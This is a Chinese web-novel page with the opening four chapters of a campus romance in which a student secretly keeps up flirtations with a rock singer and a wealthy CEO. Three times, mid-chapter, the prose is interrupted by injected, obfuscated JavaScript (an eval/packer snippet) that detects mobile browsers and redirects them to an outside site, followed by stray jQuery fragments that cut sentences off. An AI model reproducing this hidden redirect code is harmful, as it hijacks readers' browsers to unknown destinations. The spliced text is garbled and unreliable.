《我的一千零一个男朋友》 1. 第一个月亮 我的一千零一个男朋友 文/江小绿 注:文案“男朋友”指暧昧对象,非正式确定关系。1v1 - 校外孤岛酒吧,今晚人气爆满。 灯光晃动,底下人群拥挤,一张张面孔狂热,目光紧攫着同个方向。 正中舞台上,站着一支乐队准备演出。 主唱背着吉他,立在聚光灯下,白衬衫领口敞开,泛着皎洁光辉,银灰色头发桀骜醒目。 他低垂着脸,修长的手指略显随意拨动琴弦,一声激越的吉他音骤然响起。 与此同时,男生抬起头,暗蓝光影打在他高挺的眉骨之间,上扬的眼角莫名增添了几分冷意。 一张过分俊美又让人不敢接近的脸。 底下顿时几道吸气声,紧接着,是更为激动的尖叫。 男生微偏头,单手调了下话筒角度,清越干净的嗓音一瞬穿透而出。 鼓点震动着心脏。 酒吧气氛瞬间抵达最高点,在热烈的摇滚节奏和充满穿透力的歌声中,底下人不约而同大声叫着他的名字。 “阿野!阿野!阿野!” “啊啊啊沈子野真的好帅啊,演出结束可以去要他联系方式吗?!” “人有多大胆,地有多大产!” “姐妹!冲!” 余上月的位置是靠舞台后面,透过人群间隙,偶尔能看到台上人的小半张脸,优越的下巴线条,冷白细腻。 她随意坐在卡座上,旁边紧挨着站着几个妹子,乐声占据耳膜,说话只能靠吼,周围轻而易举听见。 边野乐队是酒吧的人气支柱,每周仅二五六演出三天,时长不多,基本都排在后面压轴出场。 几首歌曲过后,演出结束,台上的乐队似乎准备收拾着东西离开,之前说话的几个女生蠢蠢欲动,望着沈子野的身影开始往前挤。 “接下来这首歌,送给一个朋友。”前方舞台,不知何时其他乐器都已经被撤下,整个灯光暗下来,只剩一束圆柱形的追光灯,打在身坐高脚椅抱着吉他的沈子野身上。 柔软的光线莫名给他的神情平添了几分暖意。 他垂着眼睫,拨弄琴弦。 与往日风格截然不同的一段舒缓节奏流泻出来,竟然像是一首情歌。 熟悉边野乐队的人几乎都知道,沈子野从来不写情歌,尤其是这种节奏缓慢温柔的。场子变得格外安静,伴随着他声线干净清晰的独白。 “这首歌名字叫做《第一个月亮》,刚写的新歌,送给你。”他说完,便低下头去,乍然响起的和弦把他最后的几个字尾音模糊,大部分人都听成了送给“你们”,只有少数听清了那句“送给你。” 这中间就有余上月。 小范围的窃窃私语很快被随之而来的歌声压下去,有人说最怕rap唱情歌,这句话放到沈子野身上也毫无违和感。 酷哥唱起情歌,也有着致命的杀伤力。 余上月旁边的那几个女孩已经从刚开始的单纯兴奋变成了现在手紧捂嘴唇双眼激动大喊。 “呜呜呜这个男人太绝了!睡不到他我的人生还有什么意义!!” “酒吧不是法外之地。” “女人,麻烦把你嘴角的口水擦擦。” ...... 这首歌不长,短短几分钟,吉他声逐渐变低,伴随着轻浅的音符,男生眉眼低垂温柔,轻声吟唱着:“天上让人爱恋的月亮,谁的余光,坠入海底...” 最后一句歌词落地,余上月身旁的那几个女生已经冲过层层人群,挤到了最前面,沈子野正在低头收着吉他,舞台下方边上围着的年轻女孩比以往时候都多。 “阿野,能加个微信吗?”有人故意用平时乐队成员间的称呼,熟稔地叫着他的名字。 “可不可以给我签个名?我喜欢你好久了。” “沈子野,你好帅!” 各种纷至沓来的声音和话语,台上的人却充耳不闻。沈子野低头收拾着东西,大半面容沉浸在暗下的光影里,他背着吉他,准备走通道下去直接回后台。 “今天最后一首歌真好听,下次多写写这种类型的!”杂乱的人群里,不知道是谁高声说了一句,全程没有反应的人突然抬起头。沈子野望着那处,微微弯起嘴角,“谢谢。” 那女孩受宠若惊,半天激动得没回神。 酒吧热闹依旧,DJ在操作台上打着碟,动感十足,夜渐深,舞池里的身影逐渐放开束缚,随着节奏晃动身体。 余上月刚拿起桌上鸡尾酒喝了口,百无聊赖转动着视线打量着四周时,身旁就多出一道人影,温热的气息在脸侧凑近。 “你喝酒了?”方才还在台上高冷万分的人,此时戴着鸭舌帽,脸压近她,低声质询。 灯光变幻,他的脸在昏暗里依旧掩不住出色眉眼,沈子野换了件黑色T恤,低调藏入人群中。 “饮料。”余上月狡黠眨了眨眼睛,端起桌子还剩下大半杯的鸡尾酒放到他面前轻晃下,“你看,不含酒精的。” “嗯。”沈子野信了,点头。 “待会阿新他们也来。” 阿新是他们乐队成员,每次演出结束,几人基本都要私下聚聚。 余上月跟着他去到酒吧老板提前预留的角落处小卡座,这边是一个视线死角,可以看到舞台,又避免被人认出来。 不一会人就来齐了,桌上摆满酒,众人说笑声掩在巨大音乐之下,夜里是最热闹的时刻,借着昏暗遮挡,没人发现这群人便是先前舞台上让人呐喊狂热的他们。 余上月和沈子野认识一个月,对他这些朋友熟悉得七七八八,话题没有冷场,桌上的酒不知不觉也空了瓶。 她喝酒不上脸,并且酒量很好。不过沈子野不知道,有他在的场合,余上月基本没有喝酒的机会。 两人并肩坐在卡座角落。沈子野话少,又喜欢穿黑色,刘海碎发搭着眼睛,不说话的时候瞧着有点酷,很有距离感。 即便是面对心仪的女孩,也不像旁人黏黏糊糊,只是周到地照顾着余上月,在和旁人交谈时,也留心桌上的水果,拿起她爱吃的放到她面前。 这样的小动作自然逃不掉其他人的眼睛,次数多了,就有人忍不住打趣。 “阿野,收敛一点。” “水果都被你拿完了。” “谁能想到我们酷哥谈起恋爱来会是个大情种呢。”说话的人故意重重叹了口气,调侃:“有生之年竟然能听到沈子野写情歌。” “话多。”沈子野在旁人面前可没有好脾气,不耐烦皱眉,把桌上的酒往前推:“不会说话就多喝点。” “那我今天得敬你女朋友一杯,她可是主角。” “现在还不是……”沈子野懒洋洋,昏暗光线中,眼波流转睨向余上月,修长手指抵着玻璃酒杯推回去:“她不喝。” “行行行,那你替她喝?” “我也不喝。” “?” “嗓子痛。” “.........” 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417856|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话把对方的所有理由都堵死。 然而长夜漫漫,他们当然不会放过这个大好机会,沈子野依旧不可避免喝多了。 众人还在热烈地聊着天,身旁却不知何时突然安静,沈子野默默坐在那里,脸红红的,浓密睫毛耷拉下来。 余上月察觉到不对,转头去看他,似乎感知到她的视线,男生抬起头,眼底莫名泛着潮湿,雾气朦胧。 头顶光很暗,他一声不响望着她,好像喝醉了。 余上月轻轻叫他名字:“阿野。” “嗯...”他无意识应着,垂眸去勾她的手。 “你喝醉了吗?” “没。”沈子野说完之后突然沉默下来,安静两秒:“月月...” 他抬起眼看她,双眼皮单薄漂亮,欲言又止。 余上月爱美心起,耐心纵容,拉长尾音:“嗯?” 鼓噪的音乐和晃动光里,只见男生露出迟疑,片刻后,难得的不确定,抿唇问她:“我今晚最后唱得那首歌好听吗?” 余上月怔了几秒,笑了。确定他是醉了。 “好听。”她轻声夸奖,望进他的眼睛真挚动人:“我特别喜欢。” 男生定定同她对视,闻言,脸上荡起一个柔软笑容。 他轻闭上眼,仿佛再也支撑不住,头朝她重重砸下来。 带着些许重量的脑袋落在她肩头,伴随着淡淡的酒气,余上月刚要抬手安抚他,外套里手机铃声大震。 她看了眼来电显示,轻轻拍了拍沈子野肩膀。 “阿野,我去接个电话。” 她把人交给了他朋友,拿起手机起身。 洗手间,门刚一阖上,手里电话同一时间接通,与此同时,熟悉低沉的男声传出来。 “在哪?” 不过短短两分钟。 余上月挂断电话,下一秒给沈子野打了过去,意料之中无人接听,她快速编辑了一条短信,分别发送给他和他朋友。 手机上叫好网约车,搁在洗手台上,余上月微微倾身,对着镜子把脸上的亮片眼影和斩男色口红仔细擦掉,重新补好温柔豆沙粉。 随意披散在肩头的黑色卷发快速用手指捞起,扎成一个略显青春活力的丸子头。 滑落肩膀的黑色牛仔外套规规矩矩穿好,遮挡住里头的吊带。 余上月最后摘掉耳环和项链,镜子里的人已经从明艳性感的美人变成了清纯素净的女大学生。 酒吧洗手间到大门距离几百米,抵达马路边时,一辆的士差不多在她面前停下。 余上月打开车门上去,报出地址。 没多久,她重新出现在一个地下停车场。 边上停着一辆低调的黑色迈巴赫。 余上月拉开门,副驾驶坐着正在闭目休憩的男人睁开眼,挺阔的白衬衫袖口微皱,胸前领带被随意拉扯开,镜片下,一双深黑的眸子带着几分酒意,望过来。 “不好意思我来晚了。” “没关系。”男人摘下眼镜揉了揉眉心,接着坐起身,朝她伸出手。 余上月顺从地投入他的怀抱。 他叫她的名字:“月月。” “嗯?”她闭目应答。 “明天陪我去出差。” “好。” 她的柔顺使男人欢心,身侧的人偏过头,夹杂着白兰地浅香的湿热气息拂来,落在她唇畔。 浅浅辗转的一个吻。 他难得露出一丝放纵,宠溺唤她。 “乖宝。” 2. 第二个月亮 第二章 宗俞最近忙得分身乏术。因为一起跨国收购案,国内外两边飞,会议桌上谈判了一轮又一轮,难得回国抽出两天假期,还要去沿海城市参加一个行业峰会。 不过行程轻松,权当是度假,因此特意带上余上月。 宗氏集团是深南市第一大企业,旗下业务涵盖房地产、快消费、食品等数个领域, 其中有个洗浴系列余上月外婆家一直在用,从她小时候的香皂革新换代成现在的沐浴露。品牌家喻户晓,产业难以计数。 宗俞年纪轻轻出任集团掌舵人,从出生就含着金钥匙,一路畅通无阻走向金字塔顶端,人生宛如一台精密编织的仪器,在设定好的轨道里完美啮合,不容许有任何脱轨。 而余上月就是这个意外。 两人初初相识之际,得知他的身份,余上月有一刹那的震惊,即便南大作为深南市顶尖一流学府,毕业季校内举办的知名企业家分享会,她也预料不到会请来这尊大佛。 后被人解惑,商学院经济系姜教授乃他表姐夫,靠着这一丝的裙带关系,宗俞纡尊降贵,出席了他们学校这场活动。 而身为学生会主席、外联部第一把手、每年奖学金优秀获得者、德智体美劳全面发展的最佳干部余上月,理所当然被姜教授叫了过去,委以这一重任。 接待这次的重量级嘉宾,宗俞。 余上月记忆中,这就是他们的初识。 峰会时间正好是周六日,飞机落地到酒店,一路风光秀丽。 宗俞还没踏进酒店大门就被秘书叫走。工作事务繁多,车上越洋电话一个又一个,耳边英文听得人脑袋发晕,即便是标准伦敦腔伴随着低沉悦耳的音色,依旧让余上月抵挡不住睡意。 她困得发昏,脑袋在车窗上一点一点,宗俞电话间分神过来,伸手挡在玻璃和她脑袋之间,额头下一秒触碰的坚硬变成温热手掌。 她抬眼觑去,宗俞还在专心和对面沟通,手机贴在耳旁,锐利的眉心微皱起,英俊面孔透着不近人情的冷肃。 宗俞这次出差带了一个秘书和生活助理,秘书主要负责他工作事务,助理主要负责余上月的生活。 从助理手中接过房卡,余上月推门,伴随巨幅落地窗映入眼底的是无垠的蔚蓝海面,细白沙滩上晃动着椰树绿影。 房间是总统套房,余上月把自己行李放入主卧,顺手捞起头发,动作自如推开浴室门,磨砂玻璃上,水雾沙沙弥漫。 宗俞结束行程回来,只看到床上起伏的曲线,少女脸埋在被子里,呼吸起伏匀速,白里透红的肌肤像清晨阳光下的樱桃。 她最近难得的乖。 宗俞专注望着床上安静睡觉的人,心头对她喜爱更甚,单手扯开领结,在床畔俯身下去。 余上月睡梦中迷迷糊糊被吻醒,刚熬过一夜赶作业的脑子疲乏难忍,起床气瞬间上涌,本能以为是常和她玩这种幼稚把戏的沈子野,口中的阿野就要脱口而出—— 下一秒,她睁开眼,看到面前放大的宗俞的脸。 睡意顷刻全无,她几乎是立即清醒,反应过来身在何处,伸手搂住他脖子,微仰头主动回吻。 许久,宗俞心满意足离开,指腹不轻不重抹过她唇上水渍,黑眸柔色,低声:“最近怎么这么听话?” 能不听话吗? 做贼心虚罢了。 余上月很好藏住了眼里的躲闪,不着痕迹垂眸,软声撒娇:“我饿了。” 这次峰会主办方也是行业龙头企业,大手笔直接包下了整座酒店,下楼乘梯到餐厅,入目所及都是与会人员。 宗俞年轻有为,掌管宗氏集团,一路免不了遇到旁人热络寒暄,余上月静立在一旁,挽着他手臂微笑得体,俨然是一名合格女伴。 见宗俞并没有主动介绍她的意思,旁人也识趣不加多问,这个圈子就是这样,身边的人来来去去,多得是陌生漂亮面孔。 餐厅落地窗外摇曳着满目绿色,人工种植的热带雨林景观。 长条餐桌前,余上月心不在焉切着面前一块牛排。 “怎么,不高兴了?”对面的人突然停下手里动作,状似不经意抬眼,询问。 “唔?”余上月回神,一时没反应过来,望着宗俞的脸飞快思考几秒,才想起先前的那些寒暄。 “没有啊。”她笑答,持银色餐刀的右手抵着下巴无比善解人意,语气真挚,“我是和你出来玩的,又不是来认识人的,我这两天只想好好陪着你,其他什么也不想干。” 宗俞漆黑的眸子盯着她看了几秒,低头微微一笑:“晚点让助理陪你出去逛逛。” 自觉过关,余上月微松一口气,乖巧应好。 餐桌下,调成静音的手机屏幕闪动,消息一条接一条进来,最新记录停留在沈子野难得撒娇的一句。 【想你】 他刚睡醒,依恋感最甚。 下午峰会正式举行期间,余上月被司机直接送到当地最大免税店,估计是助理提前打过招呼,余上月一进店,奢侈品SA一股脑围上来,笑容热情真切,像极了她应付宗俞的时候。 不知道什么皮的限量款包包打包了三四个,余上月又逛了不少衣服鞋子,最后在首饰专柜以一只满钻手镯收尾。 助理手上提满了大包小包,临走前,她突然瞥见了柜台角落不起眼的一枚银环,非常简约的方形素圈,戒面上刻满一串阿拉伯语符号,译文是——“你来埋葬我”。 她目光驻足,忍不住拿起戒指仔细观赏,销售立马介绍:“这是我们一款特别发售的情侣对戒,您手上拿的这款刚好是女款,我给您试戴一下……” 戒指是中戒,恰恰好滑落余上月指根。女生手指细长白皙,骨节分明,中指套上一抹银色后,不显秀气,反而呈现出一种中性美,竟意味同她气质契合。 余上月满意端详几眼,爱不释手,助理见状上道在后头刷卡,销售体贴询问一句:“男款需不需要给您一起打包?” 沉浸在戒指美貌中的余上月愣了愣,随即笑道:“当然。” 当晚,余上月逛街买了对情侣戒指的消息就传入了宗俞耳中。 他应酬归来,身上酒气清淡,眼神却晶亮,不显疲态。 酒店房间灯光昏黄,余上月早已洗漱完,在书桌前对着电脑为这次的编程作业绞尽脑汁。 宗俞知道她讨厌酒味,进门首先脱掉外套,一手卷衬衫袖口,一手扯开领带,在她身边不远处坐下,脑袋微垂,昏暗光晕笼罩中眉眼清淡温柔。 “晚上做了什么?”他闲聊般问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417857|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下午购物结束回来,余上月就把助理支开去休息了,宗俞并不知晓她的行程。 “吃完饭出去游了会泳,然后就回房间洗澡做作业了。” 余上月并不喜欢他这点掌控欲,微蹙起眉,但无奈宗俞实在姿色可人,她望着他那张脸,神色又不由地舒展开。 “你累不累,要不要先去洗漱?”女生轻声关怀,宗俞表情软下来,轻“嗯”一声,起身弯腰在她唇上一碰,转头去浴室。 余上月重新面朝屏幕,神情平静如常。 周日上午,峰会就举办了闭幕仪式,多出来半天时间,宗俞突然空闲下来,在酒店专心陪她。 午间用过餐,海风凉爽,阳台露天无边泳池蔚蓝通透,余上月在里头游泳,岸边遮阳棚下,宗俞拿了本商业杂志在看。 一身白色家居服,矜贵闲适,时不时抬头把目光投过来,似乎是想确认她有没有不小心呛水溺到。 助理安静推门进来,小声汇报工作,不经意间瞥见他们大老板神情,心头微微一震。 怎么形容宗俞的眼神。 就像是在欣赏自己从小喂养长大的一尾小美人鱼。 不加掩饰的宠溺喜爱,还有一丝暗藏深处难以觉察的占有欲。 航班傍晚落地深南市,余上月第二天还有课,司机直接给她送往学校,正值周末车流高峰期,机场到南大路况算不得太好,司机技术高超见缝加塞,陆陆续续也走了漫长时间,外头天空由红紫逐渐变成墨蓝,中间浅浅点缀上几颗星子。 车里很安静,余上月一路瞌睡,宗俞垂眸处理着工作邮件,无人说话,临近学校时,前排的助理才试探般侧头询问。 “余小姐这两天买的那些东西,要不要一起送到学校?” 宗俞闻声朝她投目。 余上月不假思索:“直接放到公寓里就行了,学校宿舍太小,不方便。” 宗俞不是第一次给她买奢侈品,总裁日理万机时间最稀缺,哄人的方式不外乎拿最泛滥的东西买对方欢心,余上月毫无异议识趣收下,只是借口品牌昂贵,在学校太惹眼,宗俞于是专门给她买了一套公寓,用来放这些东西。 这次满满的几大袋也是由助理直接送往那边。 临下车前,余上月只背了自己随身的一个包包。 她挥手同宗俞告别,笑容甜美,还不忘在他唇边附赠一个离别吻。 天色昏暗,两旁亮起盏盏路灯,光线雾蒙蒙。 宗俞只看到她指间的一抹银色,亮得晃眼,在他瞳孔中一闪而过。 那枚男士戒指夹杂在那一堆的奢侈品礼盒中,随着那些东西一起被送去了公寓储物柜。 从头到尾她都没有对他主动提起过。 车子隐没在树荫间,随着她身影消失校门内而渐渐远去。 女生宿舍在教学楼后面,穿过两栋建筑,视线出现熟悉红墙,斑驳的墙面爬满绿色爬山虎。 余上月低头看手机,社交软件消息震个不停,她没来得及查阅,经过楼栋拐角处时突然被一只大手拽进墙壁夹角之间,下一秒,紧紧落入男生怀抱。 熟悉气息轻拂在头顶。 沈子野用力抱着她,脑袋埋在她脖颈间呼吸湿热,生气控诉。 “——这两天怎么都不回我消息?” 3. 第三个月亮 第三章 沈子野的质问来势汹汹,余上月垂落身侧的掌心还捏着手机,刚刚打开的消息没来得及查阅,但先前的匆忙一眼,隐约瞥见那一堆的小红点几乎都来自于他。 余上月和宗俞在一起时,回消息的频率见缝插针,前两天还断断续续同沈子野保持联系,今天实在没办法。 ——宗俞整天都和她待在一起。 她不由暗自叹了口气,暧昧期同时脚踏两只船真是麻烦。 感慨过后,余上月认命哄人。 “不好意思,这两天有点小忙。”她揉着对方脑袋,好声好气哄着。 “晚上请你吃饭好不好呀?” 沈子野闻言神色微黯,但很快,他重新对她展露出笑容。 “这顿饭先欠着。今晚是阿新的生日,本来想叫你一起过去热闹热闹,结果你没回消息,我就直接过来找你了。” “原来这样,那我要不要给他带一份小礼物?” “不用,你人到他已经很开心了。” “噢。” 两人边说边往外走,天早已完全暗下来,白天正式过渡为黑夜。 热闹的天台烧烤摊,挂满灯带,一个个小灯泡坠在绳上,随风微微摇晃,像是星星在眨眼睛。 一群年轻人在天幕下喝酒谈天,夜到深处,阿新喝到兴头拿出了吉他,身旁的沈子野随意哼唱起来,他声线清磁独特,极具分辨率,不加修饰的歌声轻易就能抓住人耳朵。 这首歌是他们乐队的原创歌曲,作词作曲都是沈子野自己。 他们这边动静不算大,但无奈几个人气质太抢眼,尤其是沈子野,一头银灰色短发在夜色下掩饰不住,闭眼随吉他节奏轻声哼唱时,无形攫获所有目光,就像是天生的大明星,即便此刻没有闪光灯,依旧难掩夺目。 很快,一首歌吉他节奏刚落下,旁边桌立马跑来两个女生,明显关注已久,拿着手机微红脸问他要联系方式。 沈子野摇头拒绝,显然对这样的场景已经司空见惯。 “帅哥,我朋友真的很喜欢你……”另一女生不死心,依然执着想要争取,沈子野看向一旁专心看热闹的余上月,见她压根没有给他解围的意思,微微无奈,撒了个小谎。 “我有女朋友了。” 她才发现他身旁的女孩,先前对方的身形一直被沈子野遮挡,瞧不真切,此时定睛一看,立刻尴尬脸热。 女生嘴角含笑坐在那,一头乌黑长卷发扎成高马尾,骨相极其优越,完美符合三庭五眼标准,任谁见了都会忍不住在心里赞叹一声漂亮。 那张脸上最突出的是眉眼,乌黑细长的眉,藏着棱角,如远山起伏。双眼皮细窄自然,眼尾上扬,瞳仁大而黑,莫名展露出几分英气。 看人时落落大方地直视着对方,蕴含笑意,让人不由心生好感。 她坐在夜市摊中,穿着简简单单的白T恤,没有任何装饰,都仿佛对周遭形成降维打击。 女生脸颊一烫,连忙出声道歉离开。 中途的小插曲很快过去,乐队几人讨论起了新歌的事情,准备在下周酒吧演出的时候正式发布。 余上月觉得他们新歌不错,今晚听了几耳朵,很喜欢。 于是好奇问了几句。 鼓手阿威见状,趁机在对面朝余上月挤眉弄眼。 “上次的伴奏学得怎么样了?要不要找个时间教你新歌的鼓谱?” 余上月停下转玻璃酒杯的手,诧异一笑,扬眉:“我行吗?” “当然,你是我见过最有天赋的架子鼓学生。”阿威自信保证。 无论他是开玩笑还是故意捧场,余上月都没有反驳,低头勾唇权当认下了。 “那你下周末过来?”沈子野在一旁低声温和询问。 “嗯。” 余上月是第二次看他们演出时对架子鼓燃起的兴趣。 她还记得那天他们在排练室,表演的是一首摇滚歌曲,中间有一段架子鼓的solo,鼓手坐在中间,双手扬起鼓槌重重敲下那一刻,激情迸发,灵魂仿佛随之颤动,从未有过的野性和激情击中了她。 单人演出结束,阿威还秀了一段鼓槌展示,帅气收尾。 当然,余上月不是被这个击中的。 一群人吃吃喝喝聊完,已是深夜。 深夜酗酒撞上第二天早八,堪称灾难。 余上月坐在教室的时候,灵魂还在床上没起来,正撑着头打哈欠泪眼朦胧,旁边有人抱着书坐下。她以为自己已经来得够晚,没想到有人掐着点和教授前后脚进来。 余上月揉了揉眼角泪意,还没来得及说话,就听到身旁人熟稔打趣:“哟,大小姐昨晚又去哪儿鬼混了?瞧瞧这一脸疲倦。” “鬼混也比你来得早。”余上月轻飘飘转头回怼。 对面是一外表娴静的女子,烫梨花头,标志瓜子脸,杏眼翘鼻,貌美可人,名为荔枝。 同余上月相识近二十年,小说里标准的青梅。 两人自穿开裆裤结下的交情,一路邻居兼同校,从幼儿园到小学再到高中大学,见识过彼此最狼狈不堪的一面,也见证过对方的人生高光时刻。 荔枝常挂在嘴边的一句话就是:以后孤寡的话我们就一起养老。 结果没上大学几年,余上月扭头就找了两个预备交往对象。 荔枝倍感无语,白眼翻了一茬又一茬。 这节课是公共必修课,强撑着精神听完一节英语,休息铃声一响,余上月就支撑不住倒在桌上,前额伏桌面,困得睁不开眼。 “这么累?”荔枝美女在一旁合上钢笔,佯装关怀。 “嗯……昨晚喝到快一点。”余上月闭目有气无力答。 “也是辛苦。”她微微感慨,静了几秒后,真诚建议,“要不,咱少交往一个?两个确实有点太吃力了,身体吃不消。” “话虽如此,但是……”聊到这儿,余上月来了点精神,不由抬起头,微眯起眼睛,回忆起了和沈子野的初次相遇。 事情是怎么脱轨的呢。 余上月也不知道。 遇到沈子野那天,是个凄风冷雨的夜晚。 辗转两趟车排队半小时才买到的草莓班戟被她紧紧护在怀里,从甜品店出来周围店铺已经打烊,路灯被雨淋得湿漉漉,地面倒映着五颜六色的玻璃水洼。 末班公交呼啸着从身旁飞驰而过,扑溅而来的水花如同汹涌浪潮,余上月躲避不及,闭上眼绝望等待命运降临之际,一把透明雨伞毫无征兆出现在她头顶。 男生清爽好听的声音随之响起。 “你没事吧?” 她在黑暗中睁开眼睛,看见了一双透彻干净的眸子。雨水潮湿,里头倒映着五彩斑斓的灯光,像是小时候珍爱藏在铁盒中的彩色玻璃珠子。她心弦轻动,望着那双眼睛,同样想要珍藏。 - “但是什么?”荔枝见她迟迟不语,忍不住在旁边追问。 余上月从回忆中抽离出来,点头以表赞同,认真发言:“但是——小孩子才做选择,大人当然是全部都要。” 荔枝对她的这番话早已见怪不怪,余上月就是这样神奇的一个人,脑子里装满了旁人搞不懂的奇怪想法,她干脆翻了个白眼,放弃建议。 经过忙碌充实的两天周末,回归校园生活,余上月切换丝滑,没有任何不适。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417858|184713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中午回宿舍补过觉,再加上一杯冰美式,已经满血复活。 傍晚食堂吃过饭,余上月同荔枝慢悠悠散步回宿舍,余霞美妙,油画般的色彩笼罩校园,绿色草坪映着红色跑道,如果没有吵闹人声打扰,那就堪称惬意了。 “走过路过不要错过,我们足球比赛即将开始,无门票,不需要应援,免费观众都可获得专属定制小扇子一枚。” 学生会成员穿着白色运动衫,在给身后绿茵场即将开展的足球比赛宣传。 余上月想起来,体育部最近举办了一次校内足球比赛活动,但因为参赛选手不热门以及种种原因,这个比赛关注的人不是特别多,导致比赛时观众席格外冷清,为了不让选手们心里有落差,不得已开始鼓动宣传。 现在已经沦落到路边发传单的地步了。 发传单的人她也认识,正是体育部新进来的一位学弟,为人热情,很会来事,两人打过几次交道,他每次都笑眯眯叫着余上月学姐。 果不其然,男生眼尖,从路过的人群里一眼就看到她,热情挥着手上传单招呼:“学姐,学姐!” 他仿佛看到救星,连忙上来,把定制小扇子往她手里塞,拉着她和荔枝两个往观众席走。 “来都来了,给我们凑个人数。” 足球余上月不是特别懂,只知道基本规则,进球拦网过线,但中间的六号小将非常不错,抛开技术不谈,身姿是十分优美矫健的,只是一场四十五分钟的球赛下来,耐心也消耗得差不多,明显场上观众都和她想法一致,尤其是许多被宣传拉过来的学生。 上半场结束,观众席中已经陆陆续续有人起身,准备离场。 这时候,激昂欢快的音乐声响起,这个看起来非常业余的比赛,竟然还有专业啦啦队上场,一群鲜活年轻的女孩开始表演舞蹈。 方才还窸窸窣窣准备走的人,转身一屁股又坐了回来,津津有味欣赏起了舞蹈。 热情澎湃的表演结束,方才外面的学弟拿着话筒客串主持人上场,表示接下来还有抽奖活动,每个人手里的扇子后面标记着号码牌,被抽中的观众有机会获得足球周边以及和冠军明星选手合影。 本着来都来了的心态,观众席里的人都安安稳稳坐着,不复方才急不可耐要离场的架势。 主持人面露欣慰,在没有其他工作人员的情况下,自己到草地边上抱上来一个大纸箱盒子,开始抽奖。 纸条展开,他缓缓念出上面号码,场内音响效果极好,声音清晰传入所有人耳中。 “恭喜我们的3号……以及7号,有请我们的幸运儿上台领奖!” 余上月慢吞吞翻过扇子,背后赫然印着一个数字3,她还没来得及做出反应,旁边荔枝已经迫不及待举起她的手,对着底下学弟欢呼:“这里!3号是我们的余上月同学!” 余上月默默伸手捂住脸,与此同时,观众席另一端突然爆出同样的惊喜大喊,激动之情如出一辙:“哥!你中奖了!!” 她目光挪过去,穿过人群,目光不其然和另一人对上,男生穿着淡粉衬衫,金质玉相的一张脸,理应是骄矜贵气的大少爷,却偏偏生了双清冷眼睛,不动声色透出疏冷距离感。 此刻隔着热闹喧哗,两人对视,空气都仿佛一瞬间凝结成寒冰。 余上月本能磨了磨牙,从齿缝中挤出两个字,如同见到了纠缠几世的仇敌。 ——“迟……意。” 台上主持人还没搞清楚状况,满怀期待叫着两人下来领奖,话筒传出他兴奋嗓音,两道声音在观众席两头同时响起。 如出一辙的默契。 “我弃权。” “我弃权。” 4. 第四个月亮 第四章 回去路上,余上月直骂晦气。 今天出门没看黄历,碰上迟意,和他同时中奖这件事,堪称她一天的耻辱。 荔枝在一旁舔着冰棍儿,说风凉话:“你们不都和解了吗?还这么生气呢。” “休战!是暂时休战!我大人有大量,不和小人计较。”余上月骂骂咧咧一路,心头郁气稍解,双手叉腰立在原地,长吁一口气,“算了,不要为了某些不值得的人影响心情。” “如果见他一次生一次气的话,那我早折寿了。”毕竟他也在学生会,情况最差时两人也每周例会要碰一次面,虽然大部分时候他都借口缺席。 “这才对咯。”荔枝宛如捧哏,没心没肺,净说废话。 余上月再次舒了舒胸口,缓和下来。 “不过说起来,你和迟意还真是冤家路窄,这都能碰上。”荔枝回想起操场上两人默契十足的弃权,又忍不住感慨:“不愧是死对头。” 余上月跟迟意的恩怨,整个南大无人不知无人不晓,当年辩论总决赛上两人那场慷慨激昂的唇枪舌战,引得评委老师都不由站出来打了圆场,给出了一个并列第一的奖项,不然两人得从白天吵到黑夜。 哪怕后来的新生入学,牵扯到这两人的事情,都会被学长学姐揪出来科普一番,以免犯了什么忌讳。 说起他们两个的梁子,得追溯到一年前。 那时余上月刚升入大二,从学生会初出茅庐的小菜鸟历练成外联部独当一面的学姐,正逢新生入学不久,文艺部想着组织个什么活动,联络一下新生感情,同时加深对学校的归属感。 恰好那段时间新闻报道,下周将有一次十年难遇的御夫座流星雨大规模降临,并且有很大概率可以看到火流星。 文艺部小学妹立刻来了灵感,根据新闻整理出了一套活动方案,名为“观星计划”,当时的学生会主席一把通过,并且在会上要求其他部门全力配合这个活动。 余上月作为外联部部长,肯定是要大出力的,帮忙拉赞助不说,就连观星的设备都得她出面去借。 小学妹刚加入学生会没两周,大大小小的事情得他们这些老人张罗,况且,余上月自己就是文艺部转过来的,和他们部长并肩搭档过无数次。 两人的共事模式一贯是她主内余上月主外,因此这事落在余上月头上她是一点也不排斥的,毕竟与人打交道,一贯是她擅长。 余上月此人,见人说人话,见鬼说鬼话,不说所有人关系都打得牢靠,但轻易不与人结仇,俗话说伸手不打笑脸人,更何况她一青春可爱美少女。 